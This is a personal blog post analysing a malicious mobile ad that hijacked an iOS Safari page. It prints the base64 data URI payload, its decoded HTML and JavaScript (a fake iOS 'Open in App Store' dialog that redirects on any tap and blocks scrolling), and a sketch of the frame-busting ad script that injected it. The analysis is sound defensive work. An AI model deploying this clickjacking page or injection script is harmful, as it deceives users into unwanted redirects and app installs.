Anatomy of an Ad-based Clickjacker

UPDATE: it looks like this issue in Safari on iOS (see below) may have been addressed by release 10.3.

Cool. So I was browsing a super cool website the other day (rollcall dot com) in Safari on an iPhone and all of the sudden this happens:

open-app-of-doom

Excuse me?

Then I noticed the browser location was a data URI:

data:text/html;base64,PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCgk8aGVhZD4NCgkJPG1ldGEgY2hhcnNldD0iVVRGLTgiLz4NCgkJPHNjcmlwdCB0eXBlPSJhcHBsaWNhdGlvbi9qYXZhc2NyaXB0IiBzcmM9Imh0dHA6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTEuMTAuMi5taW4uanMiPjwvc2NyaXB0Pg0KCQk8c2NyaXB0IHR5cGU9ImFwcGxpY2F0aW9uL2phdmFzY3JpcHQiIHNyYz0iaHR0cDovL2Z0bGFicy5naXRodWIuaW8vZmFzdGNsaWNrL2xpYi9mYXN0Y2xpY2suanMiPjwvc2NyaXB0Pg0KCQkNCgkJPHRpdGxlPjwvdGl0bGU+DQoJCQ0KCQk8c3R5bGU+DQoJCQkjbWFpbiwjcG9wdXAge2JhY2tncm91bmQ6cmdiYSgyNTUsMjU1LDI1NSwyNTUpfWJvZHl7Zm9udC1mYW1pbHk6SGVsdmV0aWNhICJIZWx2ZXRpY2EgTnVldWUiIEFyaWFsfSNtYWlue21hcmdpbjowIGF1dG87d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtwb3NpdGlvbjpmaXhlZDt0b3A6MDtyaWdodDowfSNvdmVybGF5LCNwb3B1cCwuYnV0dG9uLWhvbGRlcntwb3NpdGlvbjphYnNvbHV0ZX0jb3ZlcmxheXtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsLjMpO3RvcDowO2xlZnQ6MDtyaWdodDowO2JvdHRvbTowfSNwb3B1cHt3aWR0aDoyNTBweDtoZWlnaHQ6MTI4cHg7ei1pbmRleDoxMDtib3JkZXItcmFkaXVzOjE1cHg7dGV4dC1hbGlnbjpjZW50ZXI7Ym94LXNpemluZzpib3JkZXItYm94O2xlZnQ6NTAlO3RvcDo1MCU7bWFyZ2luOi02NHB4IDAgMCAtMTI1cHg7Zm9udC1zaXplOjE0cHh9I3BvcHVwIGgze21hcmdpbjowO3BhZGRpbmc6MjBweDtsaW5lLWhlaWdodDoyMnB4fSNwb3B1cCBwe21hcmdpbjowO3BhZGRpbmc6MH0jcG9wdXAgLmJ1dHRvbi1ob2xkZXIgYXtjb2xvcjojMDA3QUZGO3RleHQtZGVjb3JhdGlvbjpub25lO2xpbmUtaGVpZ2h0OjQ1cHg7ZGlzcGxheTpibG9jaztib3JkZXItdG9wOjFweCBzb2xpZCAjZWZlZmVmO2ZvbnQtc2l6ZToxNnB4fSNwb3B1cCAudHdvLWJ1dHRvbiBhe3dpZHRoOjUwJTtmbG9hdDpsZWZ0O2JveC1zaXppbmc6Ym9yZGVyLWJveH0jcG9wdXAgLnR3by1idXR0b24gYTpmaXJzdC1jaGlsZHtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICNlZmVmZWZ9LmJ1dHRvbi1ob2xkZXJ7d2lkdGg6MTAwJTtib3R0b206MH0NCgkJPC9zdHlsZT4gDQoJCQ0KCQk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWF4aW11bS1zY2FsZT0xLjAsIG1pbmltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vLCBtaW5pbWFsLXVpIj4NCgk8L2hlYWQ+DQoJPGJvZHk+IA0KCQk8ZGl2IGlkPSJtYWluIj4gDQoJCQk8ZGl2IGlkPSJvdmVybGF5Ij48L2Rpdj4NCgkJCTxkaXYgaWQ9InBvcHVwIj4gDQoJCQkJPGgzPiANCgkJCQkJPHA+T3BlbiB0aGlzIHBhZ2UgaW4gIkFwcDwvcD4NCgkJCQkJPHA+U3RvcmUiPzwvcD4NCgkJCQk8L2gzPiANCgkJCQk8ZGl2IGNsYXNzPSJidXR0b24taG9sZGVyIHR3by1idXR0b24iPiANCgkJCQkJPGE+PGI+Q2FuY2VsPC9iPjwvYT4gDQoJCQkJCTxhPk9wZW48L2E+IA0KCQkJCQk8ZGl2IHN0eWxlPSJjbGVhcjogYm90aCI+PC9kaXY+DQoJCQkJPC9kaXY+DQoJCQk8L2Rpdj4NCgkJPC9kaXY+DQoJCTxzY3JpcHQgdHlwZT0iYXBwbGljYXRpb24vamF2YXNjcmlwdCI+DQoJCQkkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHsNCgkJCQl2YXIgZXhlY3V0ZWQgPSBmYWxzZTsgDQoJCQkJJChmdW5jdGlvbigpIHsNCgkJCQkJRmFzdENsaWNrLmF0dGFjaChkb2N1bWVudC5ib2R5KTsNCgkJCQl9KTsgDQoJCQkJDQoJCQkJZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbihlKSB7DQoJCQkJCWlmICghZXhlY3V0ZWQpIHsNCgkJCQkJCXdpbmRvdy5vcGVuKCJodHRwczovL3d3dy5ueXRpbWVzLmNvbSIpOw0KCQkJCQkJc2V0VGltZW91dChmdW5jdGlvbigpIHsNCgkJCQkJCQl3aW5kb3cuaGlzdG9yeS5iYWNrKCk7DQoJCQkJCQl9LCAzMDAwKTsgDQoJCQkJCQkNCgkJCQkJCWV4ZWN1dGVkID0gdHJ1ZTsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJd2luZG93Lm9udG91Y2htb3ZlID0gbnVsbDsNCgkJCQl9LCBmYWxzZSk7IA0KCQkJCQ0KCQkJCXdpbmRvdy5vbnRvdWNobW92ZSA9IHByZXZlbnREZWZhdWx0OyANCgkJCQlzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KCQkJCQl3aW5kb3cub250b3VjaG1vdmUgPSBudWxsOw0KCQkJCX0sIDE1MDAwKTsNCgkJCX0pOw0KCQkJDQoJCQlmdW5jdGlvbiBwcmV2ZW50RGVmYXVsdChlKSB7DQoJCQkJZSA9IGUgfHwgd2luZG93LmV2ZW50OyANCgkJCQlpZiAoZS5wcmV2ZW50RGVmYXVsdCkgZS5wcmV2ZW50RGVmYXVsdCgpOyANCgkJCQllLnJldHVyblZhbHVlPWZhbHNlOw0KCQkJfTsNCgkJPC9zY3JpcHQ+DQoJPC9ib2R5Pg0KPC9odG1sPg==

Naturally, I copied it and decoded it.  It was a whole new HTML document (aka, webpage)!:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<script type="application/javascript" src="http://code.jquery.com/jquery-1.10.2.min.js"></script>
<script type="application/javascript" src="http://ftlabs.github.io/fastclick/lib/fastclick.js"></script>

<title></title>
<style>
#main,#popup {background:rgba(255,255,255,255)}body{font-family:Helvetica "Helvetica Nueue" Arial}#main{margin:0 auto;width:100%;height:100%;position:fixed;top:0;right:0}#overlay,#popup,.button-holder{position:absolute}#overlay{background:rgba(0,0,0,.3);top:0;left:0;right:0;bottom:0}#popup{width:250px;height:128px;z-index:10;border-radius:15px;text-align:center;box-sizing:border-box;left:50%;top:50%;margin:-64px 0 0 -125px;font-size:14px}#popup h3{margin:0;padding:20px;line-height:22px}#popup p{margin:0;padding:0}#popup .button-holder a{color:#007AFF;text-decoration:none;line-height:45px;display:block;border-top:1px solid #efefef;font-size:16px}#popup .two-button a{width:50%;float:left;box-sizing:border-box}#popup .two-button a:first-child{border-right:1px solid #efefef}.button-holder{width:100%;bottom:0}
</style>

<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no, minimal-ui">
</head>
<body>
<div id="main">
<div id="overlay"></div>
<div id="popup">
<h3>

Open this page in "App

Store"?</h3>
<div class="button-holder two-button">
<a><b>Cancel</b></a>
<a>Open</a>
<div style="clear: both"></div>
</div>
</div>
</div>
<script type="application/javascript">
$(document).ready(function() {
var executed = false;
$(function() {
FastClick.attach(document.body);
});

document.addEventListener('click', function(e) {
if (!executed) {
window.open("https://pokeapi.co/"); // This is the URL I changed!
setTimeout(function() {
window.history.back();
}, 3000);

executed = true;
}

window.ontouchmove = null;
}, false);

window.ontouchmove = preventDefault;
setTimeout(function() {
window.ontouchmove = null;
}, 15000);
});

function preventDefault(e) {
e = e || window.event;
if (e.preventDefault) e.preventDefault();
e.returnValue=false;
};
</script>
</body>
</html>

Note: I changed the URL in the open window method to a well-known domain. It was previously a subdomain of voluumtrk2 dot com.  That domain may be legitimately run, but I don’t know.  Whois tells me it’s probably an ad provider based in Poland.

So what happened?  I loaded the Roll Call website which loaded some ads.  At least one of the ads had some JavaScript which must have been something like this:

window.onload = function() {
window.parent.open("data:text/html;base64,<html encoded in base64 here>");
};

That JavaScript will insert a data URI into the parent window‘s location, thus ‘redirecting’ to the new page (it’s more like replacing the current page). If you look at the html (the second code example above – this is what I was redirected to) you might notice that the it creates a fake iOS alert by simply styling an HTML modal. Clicking anywhere on the page would actually open the voluumtrk2 URL. Looking at the JavaScript after the modal in the same document you can see some setIntervals and a use of window.history which, after the initial redirect, sometimes resulted in a loop – taking you back to the original page where the whole thing would happen again because an ad with the script was loaded again. It also leverages fastclick (fairly commonly used to give a faster/crisper feel to touch interactions on mobile web) and also jQuery for some reason.

In summary: this ad, and I’m assuming it was an ad,  took advantage of a ‘frame busting’ technique (usually prevented by content providers) to replace the current webpage with a  clickjacking page.  The purpose seemed to be to download an app, because at that point a deep link would open the app store.  Unfortunately, I don’t recall the name of the app, because I’m dumb.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s